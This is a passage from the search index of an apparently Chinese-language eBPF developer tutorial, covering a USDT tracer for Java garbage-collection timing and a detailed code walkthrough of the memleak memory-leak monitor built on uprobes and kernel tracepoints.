类似的操作，但是它还从 data_map 中检索开始时间，并计算垃圾收集的持续时间。如果持续时间超过了设定的阈值（变量 time），那么它将数据发送回用户态程序。 handle_gc_start 和 handle_gc_end 是针对垃圾收集开始和结束事件的处理函数，它们分别调用了 gc_start 和 gc_end。 handle_mem_pool_gc_start 和 handle_mem_pool_gc_end 是针对内存池的垃圾收集开始和结束事件的处理函数，它们也分别调用了 gc_start 和 gc_end。 最后，我们有一个 LICENSE 数组，声明了该 BPF 程序的许可证，这是加载 BPF 程序所必需的。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 内核态程序","id":"96","title":"内核态程序"},"97":{"body":"用户态程序的主要目标是加载和运行eBPF程序，以及处理来自内核态程序的数据。它是通过 libbpf 库来完成这些操作的。这里我们省略了一些通用的加载和运行 eBPF 程序的代码，只展示了与 USDT 相关的部分。 第一个函数 get_jvmso_path 被用来获取运行的Java虚拟机（JVM）的 libjvm.so 库的路径。首先，它打开了 /proc//maps 文件，该文件包含了进程地址空间的内存映射信息。然后，它在文件中搜索包含 libjvm.so 的行，然后复制该行的路径到提供的参数中。 static int get_jvmso_path(char *path)\n{ char mode[16], line[128], buf[64]; size_t seg_start, seg_end, seg_off; FILE *f; int i = 0; sprintf(buf, \"/proc/%d/maps\", env.pid); f = fopen(buf, \"r\"); if (!f) return -1; while (fscanf(f, \"%zx-%zx %s %zx %*s %*d%[^\\n]\\n\", &seg_start, &seg_end, mode, &seg_off, line) == 5) { i = 0; while (isblank(line[i])) i++; if (strstr(line + i, \"libjvm.so\")) { break; } } strcpy(path, line + i); fclose(f); return 0;\n} 接下来，我们看到的是将 eBPF 程序（函数 handle_gc_start 和 handle_gc_end）附加到Java进程的相关USDT探针上。每个程序都通过调用 bpf_program__attach_usdt 函数来实现这一点，该函数的参数包括BPF程序、进程ID、二进制路径以及探针的提供者和名称。如果探针挂载成功，bpf_program__attach_usdt 将返回一个链接对象，该对象将存储在skeleton的链接成员中。如果挂载失败，程序将打印错误消息并进行清理。 skel->links.handle_mem_pool_gc_start = bpf_program__attach_usdt(skel->progs.handle_gc_start, env.pid, binary_path, \"hotspot\", \"mem__pool__gc__begin\", NULL); if (!skel->links.handle_mem_pool_gc_start) { err = errno; fprintf(stderr, \"attach usdt mem__pool__gc__begin failed: %s\\n\", strerror(err)); goto cleanup; } skel->links.handle_mem_pool_gc_end = bpf_program__attach_usdt(skel->progs.handle_gc_end, env.pid, binary_path, \"hotspot\", \"mem__pool__gc__end\", NULL); if (!skel->links.handle_mem_pool_gc_end) { err = errno; fprintf(stderr, \"attach usdt mem__pool__gc__end failed: %s\\n\", strerror(err)); goto cleanup; } skel->links.handle_gc_start = bpf_program__attach_usdt(skel->progs.handle_gc_start, env.pid, binary_path, \"hotspot\", \"gc__begin\", NULL); if (!skel->links.handle_gc_start) { err = errno; fprintf(stderr, \"attach usdt gc__begin failed: %s\\n\", strerror(err)); goto cleanup; } skel->links.handle_gc_end = bpf_program__attach_usdt(skel->progs.handle_gc_end, env.pid, binary_path, \"hotspot\", \"gc__end\", NULL); if (!skel->links.handle_gc_end) { err = errno; fprintf(stderr, \"attach usdt gc__end failed: %s\\n\", strerror(err)); goto cleanup; } 最后一个函数 handle_event 是一个回调函数，用于处理从perf event array收到的数据。这个函数会被 perf event array 触发，并在每次接收到新的事件时调用。函数首先将数据转换为 data_t 结构体，然后将当前时间格式化为字符串，并打印出事件的时间戳、CPU ID、进程 ID，以及垃圾回收的持续时间。 static void handle_event(void *ctx, int cpu, void *data, __u32 data_sz)\n{ struct data_t *e = (struct data_t *)data; struct tm *tm = NULL; char ts[16]; time_t t; time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); printf(\"%-8s %-7d %-7d %-7lld\\n\", ts, e->cpu, e->pid, e->ts/1000);\n}","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 用户态程序","id":"97","title":"用户态程序"},"98":{"body":"构建示例需要 clang、libelf 和 zlib。包名在不同的发行版中可能会有所不同。 在 Ubuntu/Debian 上，你需要执行以下命令： sudo apt install clang libelf1 libelf-dev zlib1g-dev 在 CentOS/Fedora 上，你需要执行以下命令： sudo dnf install clang elfutils-libelf elfutils-libelf-devel zlib-devel","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 安装依赖","id":"98","title":"安装依赖"},"99":{"body":"在对应的目录中，运行 Make 即可编译运行上述代码： $ make\n$ sudo ./javagc -p 12345\nTracing javagc time... Hit Ctrl-C to end.\nTIME CPU PID GC TIME\n10:00:01 10% 12345 50ms\n10:00:02 12% 12345 55ms\n10:00:03 9% 12345 47ms\n10:00:04 13% 12345 52ms\n10:00:05 11% 12345 50ms 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/15-javagc 参考资料： https://www.brendangregg.com/blog/2015-07-03/hacking-linux-usdt-ftrace.html https://github.com/iovisor/bcc/blob/master/libbpf-tools/javagc.c","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 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eBPF 的基本概念、常见的开发工具 » eBPF 入门开发实践教程零：介绍 eBPF 的基本概念、常见的开发工具","id":"0","title":"eBPF 入门开发实践教程零：介绍 eBPF 的基本概念、常见的开发工具"},"1":{"body":"eBPF 是一项革命性的技术，起源于 Linux 内核，可以在操作系统的内核中运行沙盒程序。它被用来安全和有效地扩展内核的功能，而不需要改变内核的源代码或加载内核模块。eBPF 通过允许在操作系统内运行沙盒程序，应用程序开发人员可以在运行时，可编程地向操作系统动态添加额外的功能。然后，操作系统保证安全和执行效率，就像在即时编译（JIT）编译器和验证引擎的帮助下进行本地编译一样。eBPF 程序在内核版本之间是可移植的，并且可以自动更新，从而避免了工作负载中断和节点重启。 今天，eBPF被广泛用于各类场景：在现代数据中心和云原生环境中，可以提供高性能的网络包处理和负载均衡；以非常低的资源开销，做到对多种细粒度指标的可观测性，帮助应用程序开发人员跟踪应用程序，为性能故障排除提供洞察力；保障应用程序和容器运行时的安全执行，等等。可能性是无穷的，而 eBPF 在操作系统内核中所释放的创新才刚刚开始[3]。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 1. eBPF简介：安全和有效地扩展内核","id":"1","title":"1. eBPF简介：安全和有效地扩展内核"},"10":{"body":"libbpf-bootstrap是一个基于libbpf库的BPF开发脚手架，从其 github 上可以得到其源码。 libbpf-bootstrap综合了BPF社区过去多年的实践，为开发者提了一个现代化的、便捷的工作流，实 现了一次编译，重复使用的目的。 基于libbpf-bootstrap的BPF程序对于源文件有一定的命名规则， 用于生成内核态字节码的bpf文件以.bpf.c结尾，用户态加载字节码的文件以.c结尾，且这两个文件的 前缀必须相同。 基于libbpf-bootstrap的BPF程序在编译时会先将*.bpf.c文件编译为 对应的.o文件，然后根据此文件生成skeleton文件，即*.skel.h，这个文件会包含内核态中定义的一些 数据结构，以及用于装载内核态代码的关键函数。在用户态代码include此文件之后调用对应的装载函数即可将 字节码装载到内核中。同样的，libbpf-bootstrap也有非常完备的入门教程，用户可以在 该处 得到详细的入门操作介绍。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » libbpf","id":"10","title":"libbpf"},"100":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用 eBPF 和 USDT 动态跟踪和分析 Java 的垃圾回收(GC)事件。我们了解了如何在用户态应用程序中设置 USDT 跟踪点，以及如何编写 eBPF 程序来捕获这些跟踪点的信息，从而更深入地理解和优化 Java GC 的行为和性能。 此外，我们也介绍了一些关于 Java GC、USDT 和 eBPF 的基础知识和实践技巧，这些知识和技巧对于想要在网络和系统性能分析领域深入研究的开发者来说是非常有价值的。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 总结","id":"100","title":"总结"},"101":{"body":"eBPF（扩展的伯克利数据包过滤器）是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 在本篇教程中，我们将探讨如何使用 eBPF 编写 Memleak 程序，以监控程序的内存泄漏。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » eBPF 入门实践教程十六：编写 eBPF 程序 Memleak 监控内存泄漏","id":"101","title":"eBPF 入门实践教程十六：编写 eBPF 程序 Memleak 监控内存泄漏"},"102":{"body":"内存泄漏是计算机编程中的一种常见问题，其严重程度不应被低估。内存泄漏发生时，程序会逐渐消耗更多的内存资源，但并未正确释放。随着时间的推移，这种行为会导致系统内存逐渐耗尽，从而显著降低程序及系统的整体性能。 内存泄漏有多种可能的原因。这可能是由于配置错误导致的，例如程序错误地配置了某些资源的动态分配。它也可能是由于软件缺陷或错误的内存管理策略导致的，如在程序执行过程中忘记释放不再需要的内存。此外，如果一个应用程序的内存使用量过大，那么系统性能可能会因页面交换（swapping）而大幅下降，甚至可能导致应用程序被系统强制终止（Linux 的 OOM killer）。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 背景及其重要性","id":"102","title":"背景及其重要性"},"103":{"body":"调试内存泄漏问题是一项复杂且挑战性的任务。这涉及到详细检查应用程序的配置、内存分配和释放情况，通常需要应用专门的工具来帮助诊断。例如，有一些工具可以在应用程序启动时将 malloc() 函数调用与特定的检测工具关联起来，如 Valgrind memcheck，这类工具可以模拟 CPU 来检查所有内存访问，但可能会导致应用程序运行速度大大减慢。另一个选择是使用堆分析器，如 libtcmalloc，它相对较快，但仍可能使应用程序运行速度降低五倍以上。此外，还有一些工具，如 gdb，可以获取应用程序的核心转储并进行后处理以分析内存使用情况。然而，这些工具通常在获取核心转储时需要暂停应用程序，或在应用程序终止后才能调用 free() 函数。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 调试内存泄漏的挑战","id":"103","title":"调试内存泄漏的挑战"},"104":{"body":"在这种背景下，eBPF 的作用就显得尤为重要。eBPF 提供了一种高效的机制来监控和追踪系统级别的事件，包括内存的分配和释放。通过 eBPF，我们可以跟踪内存分配和释放的请求，并收集每次分配的调用堆栈。然后，我们可以分 析这些信息，找出执行了内存分配但未执行释放操作的调用堆栈，这有助于我们找出导致内存泄漏的源头。这种方式的优点在于，它可以实时地在运行的应用程序中进行，而无需暂停应用程序或进行复杂的前后处理。 memleak eBPF 工具可以跟踪并匹配内存分配和释放的请求，并收集每次分配的调用堆栈。随后，memleak 可以打印一个总结，表明哪些调用堆栈执行了分配，但是并没有随后进行释放。例如，我们运行命令： # ./memleak -p $(pidof allocs)\nAttaching to pid 5193, Ctrl+C to quit.\n[11:16:33] Top 2 stacks with outstanding allocations: 80 bytes in 5 allocations from stack main+0x6d [allocs] __libc_start_main+0xf0 [libc-2.21.so] [11:16:34] Top 2 stacks with outstanding allocations: 160 bytes in 10 allocations from stack main+0x6d [allocs] __libc_start_main+0xf0 [libc-2.21.so] 运行这个命令后，我们可以看到分配但未释放的内存来自于哪些堆栈，并且可以看到这些未释放的内存的大小和数量。 随着时间的推移，很显然，allocs 进程的 main 函数正在泄漏内存，每次泄漏 16 字节。幸运的是，我们不需要检查每个分配，我们得到了一个很好的总结，告诉我们哪个堆栈负责大量的泄漏。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » eBPF 的作用","id":"104","title":"eBPF 的作用"},"105":{"body":"在基本层面上，memleak 的工作方式类似于在内存分配和释放路径上安装监控设备。它通过在内存分配和释放函数中插入 eBPF 程序来达到这个目标。这意味着，当这些函数被调用时，memleak 就会记录一些重要信息，如调用者的进程 ID（PID）、分配的内存地址以及分配的内存大小等。当释放内存的函数被调用时，memleak 则会在其内部的映射表（map）中删除相应的内存分配记录。这种机制使得 memleak 能够准确地追踪到哪些内存块已被分配但未被释放。 对于用户态的常用内存分配函数，如 malloc 和 calloc 等，memleak 利用了用户态探测（uprobe）技术来实现监控。uprobe 是一种用于用户空间应用程序的动态追踪技术，它可以在运行时不修改二进制文件的情况下在任意位置设置断点，从而实现对特定函数调用的追踪。 对于内核态的内存分配函数，如 kmalloc 等，memleak 则选择使用了 tracepoint 来实现监控。Tracepoint 是一种在 Linux 内核中提供的动态追踪技术，它可以在内核运行时动态地追踪特定的事件，而无需重新编译内核或加载内核模块。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » memleak 的实现原理","id":"105","title":"memleak 的实现原理"},"106":{"body":"","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 内核态 eBPF 程序实现","id":"106","title":"内核态 eBPF 程序实现"},"107":{"body":"memleak 的内核态 eBPF 程序包含一些用于跟踪内存分配和释放的关键函数。在我们深入了解这些函数之前，让我们首先观察 memleak 所定义的一些数据结构，这些结构在其内核态和用户态程序中均有使用。 #ifndef __MEMLEAK_H\n#define __MEMLEAK_H #define ALLOCS_MAX_ENTRIES 1000000\n#define COMBINED_ALLOCS_MAX_ENTRIES 10240 struct alloc_info { __u64 size; // 分配的内存大小 __u64 timestamp_ns; // 分配时的时间戳，单位为纳秒 int stack_id; // 分配时的调用堆栈ID\n}; union combined_alloc_info { struct { __u64 total_size : 40; // 所有未释放分配的总大小 __u64 number_of_allocs : 24; // 所有未释放分配的总次数 }; __u64 bits; // 结构的位图表示\n}; #endif /* __MEMLEAK_H */ 这里定义了两个主要的数据结构：alloc_info 和 combined_alloc_info。 alloc_info 结构体包含了一个内存分配的基本信息，包括分配的内存大小 size、分配发生时的时间戳 timestamp_ns，以及触发分配的调用堆栈 ID stack_id。 combined_alloc_info 是一个联合体（union），它包含一个嵌入的结构体和一个 __u64 类型的位图表示 bits。嵌入的结构体有两个成员：total_size 和 number_of_allocs，分别代表所有未释放分配的总大小和总次数。其中 40 和 24 分别表示 total_size 和 number_of_allocs这两个成员变量所占用的位数，用来限制其大小。通过这样的位数限制，可以节省combined_alloc_info结构的存储空间。同时，由于total_size和number_of_allocs在存储时是共用一个unsigned long long类型的变量bits，因此可以通过在成员变量bits上进行位运算来访问和修改total_size和number_of_allocs，从而避免了在程序中定义额外的变量和函数的复杂性。 接下来，memleak 定义了一系列用于保存内存分配信息和分析结果的 eBPF 映射（maps）。这些映射都以 SEC(\".maps\") 的形式定义，表示它们属于 eBPF 程序的映射部分。 const volatile size_t min_size = 0;\nconst volatile size_t max_size = -1;\nconst volatile size_t page_size = 4096;\nconst volatile __u64 sample_rate = 1;\nconst volatile bool trace_all = false;\nconst volatile __u64 stack_flags = 0;\nconst volatile bool wa_missing_free = false; struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, pid_t); __type(value, u64); __uint(max_entries, 10240);\n} sizes SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); /* address */ __type(value, struct alloc_info); __uint(max_entries, ALLOCS_MAX_ENTRIES);\n} allocs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); /* stack id */ __type(value, union combined_alloc_info); __uint(max_entries, COMBINED_ALLOCS_MAX_ENTRIES);\n} combined_allocs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); __type(value, u64); __uint(max_entries, 10240);\n} memptrs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_STACK_TRACE); __type(key, u32);\n} stack_traces SEC(\".maps\"); static union combined_alloc_info initial_cinfo; 这段代码首先定义了一些可配置的参数，如 min_size, max_size, page_size, sample_rate, trace_all, stack_flags 和 wa_missing_free，分别表示最小分配大小、最大分配大小、页面大小、采样率、是否追踪所有分配、堆栈标志和是否工作在缺失释放（missing free）模式。 接着定义了五个映射： sizes：这是一个哈希类型的映射，键为进程 ID，值为 u64 类型，存储每个进程的分配大小。 allocs：这也是一个哈希类型的映射，键为分配的地址，值为 alloc_info 结构体，存储每个内存分配的详细信息。 combined_allocs：这是另一个哈希类型的映射，键为堆栈 ID，值为 combined_alloc_info 联合体，存储所有未释放分配的总大小和总次数。 memptrs：这也是一个哈希类型的映射，键和值都为 u64 类型，用于在用户空间和内核空间之间传递内存指针。 stack_traces：这是一个堆栈追踪类型的映射，键为 u32 类型，用于存储堆栈 ID。 以用户态的内存分配追踪部分为例，主要是挂钩内存相关的函数调用，如 malloc, free, calloc, realloc, mmap 和 munmap，以便在调用这些函数时进行数据记录。在用户态，memleak 主要使用了 uprobes 技术进行挂载。 每个函数调用被分为 \"enter\" 和 \"exit\" 两部分。\"enter\" 部分记录的是函数调用的参数，如分配的大小或者释放的地址。\"exit\" 部分则主要用于获取函数的返回值，如分配得到的内存地址。 这里，gen_alloc_enter, gen_alloc_exit, gen_free_enter 是实现记录行为的函数，他们分别用于记录分配开始、分配结束和释放开始的相关信息。 函数原型示例如下： SEC(\"uprobe\")\nint BPF_KPROBE(malloc_enter, size_t size)\n{ // 记录分配开始的相关信息 return gen_alloc_enter(size);\n} SEC(\"uretprobe\")\nint BPF_KRETPROBE(malloc_exit)\n{ // 记录分配结束的相关信息 return gen_alloc_exit(ctx);\n} SEC(\"uprobe\")\nint BPF_KPROBE(free_enter, void *address)\n{ // 记录释放开始的相关信息 return gen_free_enter(address);\n} 其中，malloc_enter 和 free_enter 是分别挂载在 malloc 和 free 函数入口处的探针（probes），用于在函数调用时进行数据记录。而 malloc_exit 则是挂载在 malloc 函数的返回处的探针，用于记录函数的返回值。 这些函数使用了 BPF_KPROBE 和 BPF_KRETPROBE 这两个宏来声明，这两个宏分别用于声明 kprobe（内核探针）和 kretprobe（内核返回探针）。具体来说，kprobe 用于在函数调用时触发，而 kretprobe 则是在函数返回时触发。 gen_alloc_enter 函数是在内存分配请求的开始时被调用的。这个函数主要负责在调用分配内存的函数时收集一些基本的信息。下面我们将深入探讨这个函数的实现。 static int gen_alloc_enter(size_t size)\n{ if (size < min_size || size > max_size) return 0; if (sample_rate > 1) { if (bpf_ktime_get_ns() % sample_rate != 0) return 0; } const pid_t pid = bpf_get_current_pid_tgid() >> 32; bpf_map_update_elem(&sizes, &pid, &size, BPF_ANY); if (trace_all) bpf_printk(\"alloc entered, size = %lu\\n\", size); return 0;\n} SEC(\"uprobe\")\nint BPF_KPROBE(malloc_enter, size_t size)\n{ return gen_alloc_enter(size);\n} 首先，gen_alloc_enter 函数接收一个 size 参数，这个参数表示请求分配的内存的大小。如果这个值不在 min_size 和 max_size 之间，函数将直接返回，不再进行后续的操作。这样可以使工具专注于追踪特定范围的内存分配请求，过滤掉不感兴趣的分配请求。 接下来，函数检查采样率 sample_rate。如果 sample_rate 大于1，意味着我们不需要追踪所有的内存分配请求，而是周期性地追踪。这里使用 bpf_ktime_get_ns 获取当前的时间戳，然后通过取模运算来决定是否需要追踪当前的内存分配请求。这是一种常见的采样技术，用于降低性能开销，同时还能够提供一个代表性的样本用于分析。 之后，函数使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID。注意这里的 PID 实际上是进程和线程的组合 ID，我们通过右移 32 位来获取真正的进程 ID。 函数接下来更新 sizes 这个 map，这个 map 以进程 ID 为键，以请求的内存分配大小为值。BPF_ANY 表示如果 key 已存在，那么更新 value，否则就新建一个条目。 最后，如果启用了 trace_all 标志，函数将打印一条信息，说明发生了内存分配。 BPF_KPROBE 宏用于 最后定义了 BPF_KPROBE(malloc_enter, size_t size)，它会在 malloc 函数被调用时被 BPF uprobe 拦截执行，并通过 gen_alloc_enter 来记录内存分配大小。 我们刚刚分析了内存分配的入口函数 gen_alloc_enter，现在我们来关注这个过程的退出部分。具体来说，我们将讨论 gen_alloc_exit2 函数以及如何从内存分配调用中获取返回的内存地址。 static int gen_alloc_exit2(void *ctx, u64 address)\n{ const pid_t pid = bpf_get_current_pid_tgid() >> 32; struct alloc_info info; const u64* size = bpf_map_lookup_elem(&sizes, &pid); if (!size) return 0; // missed alloc entry __builtin_memset(&info, 0, sizeof(info)); info.size = *size; bpf_map_delete_elem(&sizes, &pid); if (address != 0) { info.timestamp_ns = bpf_ktime_get_ns(); info.stack_id = bpf_get_stackid(ctx, &stack_traces, stack_flags); bpf_map_update_elem(&allocs, &address, &info, BPF_ANY); update_statistics_add(info.stack_id, info.size); } if (trace_all) { bpf_printk(\"alloc exited, size = %lu, result = %lx\\n\", info.size, address); } return 0;\n}\nstatic int gen_alloc_exit(struct pt_regs *ctx)\n{ return gen_alloc_exit2(ctx, PT_REGS_RC(ctx));\n} SEC(\"uretprobe\")\nint BPF_KRETPROBE(malloc_exit)\n{ return gen_alloc_exit(ctx);\n} gen_alloc_exit2 函数在内存分配操作完成时被调用，这个函数接收两个参数，一个是上下文 ctx，另一个是内存分配函数返回的内存地址 address。 首先，它获取当前线程的 PID，然后使用这个 PID 作为键在 sizes 这个 map 中查找对应的内存分配大小。如果没有找到（也就是说，没有对应的内存分配操作的入口），函数就会直接返回。 接着，函数清除 info 结构体的内容，并设置它的 size 字段为之前在 map 中找到的内存分配大小。并从 sizes 这个 map 中删除相应的元素，因为此时内存分配操作已经完成，不再需要这个信息。 接下来，如果 address 不为 0（也就是说，内存分配操作成功了），函数就会进一步收集一些额外的信息。首先，它获取当前的时间戳作为内存分配完成的时间，并获取当前的堆栈跟踪。这些信息都会被储存在 info 结构体中，并随后更新到 allocs 这个 map 中。 最后，函数调用 update_statistics_add 更新统计数据，如果启用了所有内存分配操作的跟踪，函数还会打印一些关于内存分配操作的信息。 请注意，gen_alloc_exit 函数是 gen_alloc_exit2 的一个包装，它将 PT_REGS_RC(ctx) 作为 address 参数传递给 gen_alloc_exit2。在我们的讨论中，我们刚刚提到在gen_alloc_exit2函数中，调用了update_statistics_add` 函数以更新内存分配的统计数据。下面我们详细看一下这个函数的具体实现。 static void update_statistics_add(u64 stack_id, u64 sz)\n{ union combined_alloc_info *existing_cinfo; existing_cinfo = bpf_map_lookup_or_try_init(&combined_allocs, &stack_id, &initial_cinfo); if (!existing_cinfo) return; const union combined_alloc_info incremental_cinfo = { .total_size = sz, .number_of_allocs = 1 }; __sync_fetch_and_add(&existing_cinfo->bits, incremental_cinfo.bits);\n} update_statistics_add 函数接收两个参数：当前的堆栈 ID stack_id 以及内存分配的大小 sz。这两个参数都在内存分配事件中收集到，并且用于更新内存分配的统计数据。 首先，函数尝试在 combined_allocs 这个 map 中查找键值为当前堆栈 ID 的元素，如果找不到，就用 initial_cinfo（这是一个默认的 combined_alloc_info 结构体，所有字段都为零）来初始化新的元素。 接着，函数创建一个 incremental_cinfo，并设置它的 total_size 为当前内存分配的大小，设置 number_of_allocs 为 1。这是因为每次调用 update_statistics_add 函数都表示有一个新的内存分配事件发生，而这个事件的内存分配大小就是 sz。 最后，函数使用 __sync_fetch_and_add 函数原子地将 incremental_cinfo 的值加到 existing_cinfo 中。请注意这个步骤是线程安全的，即使有多个线程并发地调用 update_statistics_add 函数，每个内存分配事件也能正确地记录到统计数据中。 总的来说，update_statistics_add 函数实现了内存分配统计的更新逻辑，通过维护每个堆栈 ID 的内存分配总量和次数，我们可以深入了解到程序的内存分配行为。 在我们对内存分配的统计跟踪过程中，我们不仅要统计内存的分配，还要考虑内存的释放。在上述代码中，我们定义了一个名为 update_statistics_del 的函数，其作用是在内存释放时更新统计信息。而 gen_free_enter 函数则是在进程调用 free 函数时被执行。 static void update_statistics_del(u64 stack_id, u64 sz)\n{ union combined_alloc_info *existing_cinfo; existing_cinfo = bpf_map_lookup_elem(&combined_allocs, &stack_id); if (!existing_cinfo) { bpf_printk(\"failed to lookup combined allocs\\n\"); return; } const union combined_alloc_info decremental_cinfo = { .total_size = sz, .number_of_allocs = 1 }; __sync_fetch_and_sub(&existing_cinfo->bits, decremental_cinfo.bits);\n} update_statistics_del 函数的参数为堆栈 ID 和要释放的内存块大小。函数首先在 combined_allocs 这个 map 中使用当前的堆栈 ID 作为键来查找相应的 combined_alloc_info 结构体。如果找不到，就输出错误信息，然后函数返回。如果找到了，就会构造一个名为 decremental_cinfo 的 combined_alloc_info 结构体，设置它的 total_size 为要释放的内存大小，设置 number_of_allocs 为 1。然后使用 __sync_fetch_and_sub 函数原子地从 existing_cinfo 中减去 decremental_cinfo 的值。请注意，这里的 number_of_allocs 是负数，表示减少了一个内存分配。 static int gen_free_enter(const void *address)\n{ const u64 addr = (u64)address; const struct alloc_info *info = bpf_map_lookup_elem(&allocs, &addr); if (!info) return 0; bpf_map_delete_elem(&allocs, &addr); update_statistics_del(info->stack_id, info->size); if (trace_all) { bpf_printk(\"free entered, address = %lx, size = %lu\\n\", address, info->size); } return 0;\n} SEC(\"uprobe\")\nint BPF_KPROBE(free_enter, void *address)\n{ return gen_free_enter(address);\n} 接下来看 gen_free_enter 函数。它接收一个地址作为参数，这个地址是内存分配的结果，也就是将要释放的内存的起始地址。函数首先在 allocs 这个 map 中使用这个地址作为键来查找对应的 alloc_info 结构体。如果找不到，那么就直接返回，因为这意味着这个地址并没有被分配过。如果找到了，那么就删除这个元素，并且调用 update_statistics_del 函数来更新统计数据。最后，如果启用了全局追踪，那么还会输出一条信息，包括这个地址以及它的大小。 在我们追踪和统计内存分配的同时，我们也需要对内核态的内存分配和释放进行追踪。在Linux内核中，kmem_cache_alloc函数和kfree函数分别用于内核态的内存分配和释放。 SEC(\"tracepoint/kmem/kfree\")\nint memleak__kfree(void *ctx)\n{ const void *ptr; if (has_kfree()) { struct trace_event_raw_kfree___x *args = ctx; ptr = BPF_CORE_READ(args, ptr); } else { struct trace_event_raw_kmem_free___x *args = ctx; ptr = BPF_CORE_READ(args, ptr); } return gen_free_enter(ptr);\n} 上述代码片段定义了一个函数memleak__kfree，这是一个bpf程序，会在内核调用kfree函数时执行。首先，该函数检查是否存在kfree函数。如果存在，则会读取传递给kfree函数的参数（即要释放的内存块的地址），并保存到变量ptr中；否则，会读取传递给kmem_free函数的参数（即要释放的内存块的地址），并保存到变量ptr中。接着，该函数会调用之前定义的gen_free_enter函数来处理该内存块的释放。 SEC(\"tracepoint/kmem/kmem_cache_alloc\")\nint memleak__kmem_cache_alloc(struct trace_event_raw_kmem_alloc *ctx)\n{ if (wa_missing_free) gen_free_enter(ctx->ptr); gen_alloc_enter(ctx->bytes_alloc); return gen_alloc_exit2(ctx, (u64)(ctx->ptr));\n} 这段代码定义了一个函数 memleak__kmem_cache_alloc，这也是一个bpf程序，会在内核调用 kmem_cache_alloc 函数时执行。如果标记 wa_missing_free 被设置，则调用 gen_free_enter 函数处理可能遗漏的释放操作。然后，该函数会调用 gen_alloc_enter 函数来处理内存分配，最后调用gen_alloc_exit2函数记录分配的结果。 这两个 bpf 程序都使用了 SEC 宏定义了对应的 tracepoint，以便在相应的内核函数被调用时得到执行。在Linux内核中，tracepoint 是一种可以在内核中插入的静态钩子，可以用来收集运行时的内核信息，它在调试和性能分析中非常有用。 在理解这些代码的过程中，要注意 BPF_CORE_READ 宏的使用。这个宏用于在 bpf 程序中读取内核数据。在 bpf 程序中，我们不能直接访问内核内存，而需要使用这样的宏来安全地读取数据。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » memleak 内核态 eBPF 程序实现","id":"107","title":"memleak 内核态 eBPF 程序实现"},"108":{"body":"在理解 BPF 内核部分之后，我们转到用户空间程序。用户空间程序与BPF内核程序紧密配合，它负责将BPF程序加载到内核，设置和管理BPF map，以及处理从BPF程序收集到的数据。用户态程序较长，我们这里可以简要参考一下它的挂载点。 int attach_uprobes(struct memleak_bpf *skel)\n{ ATTACH_UPROBE_CHECKED(skel, malloc, malloc_enter); ATTACH_URETPROBE_CHECKED(skel, malloc, malloc_exit); ATTACH_UPROBE_CHECKED(skel, calloc, calloc_enter); ATTACH_URETPROBE_CHECKED(skel, calloc, calloc_exit); ATTACH_UPROBE_CHECKED(skel, realloc, realloc_enter); ATTACH_URETPROBE_CHECKED(skel, realloc, realloc_exit); ATTACH_UPROBE_CHECKED(skel, mmap, mmap_enter); ATTACH_URETPROBE_CHECKED(skel, mmap, mmap_exit); ATTACH_UPROBE_CHECKED(skel, posix_memalign, posix_memalign_enter); ATTACH_URETPROBE_CHECKED(skel, posix_memalign, posix_memalign_exit); ATTACH_UPROBE_CHECKED(skel, memalign, memalign_enter); ATTACH_URETPROBE_CHECKED(skel, memalign, memalign_exit); ATTACH_UPROBE_CHECKED(skel, free, free_enter); ATTACH_UPROBE_CHECKED(skel, munmap, munmap_enter); // the following probes are intentinally allowed to fail attachment // deprecated in libc.so bionic ATTACH_UPROBE(skel, valloc, valloc_enter); ATTACH_URETPROBE(skel, valloc, valloc_exit); // deprecated in libc.so bionic ATTACH_UPROBE(skel, pvalloc, pvalloc_enter); ATTACH_URETPROBE(skel, pvalloc, pvalloc_exit); // added in C11 ATTACH_UPROBE(skel, aligned_alloc, aligned_alloc_enter); ATTACH_URETPROBE(skel, aligned_alloc, aligned_alloc_exit); return 0;\n} 在这段代码中，我们看到一个名为attach_uprobes的函数，该函数负责将uprobes（用户空间探测点）挂载到内存分配和释放函数上。在Linux中，uprobes是一种内核机制，可以在用户空间程序中的任意位置设置断点，这使得我们可以非常精确地观察和控制用户空间程序的行为。 这里，每个内存相关的函数都通过两个uprobes进行跟踪：一个在函数入口（enter），一个在函数退出（exit）。因此，每当这些函数被调用或返回时，都会触发一个uprobes事件，进而触发相应的BPF程序。 在具体的实现中，我们使用了ATTACH_UPROBE和ATTACH_URETPROBE两个宏来附加uprobes和uretprobes（函数返回探测点）。每个宏都需要三个参数：BPF程序的骨架（skel），要监视的函数名，以及要触发的BPF程序的名称。 这些挂载点包括常见的内存分配函数，如malloc、calloc、realloc、mmap、posix_memalign、memalign、free等，以及对应的退出点。另外，我们也观察一些可能的分配函数，如valloc、pvalloc、aligned_alloc等，尽管它们可能不总是存在。 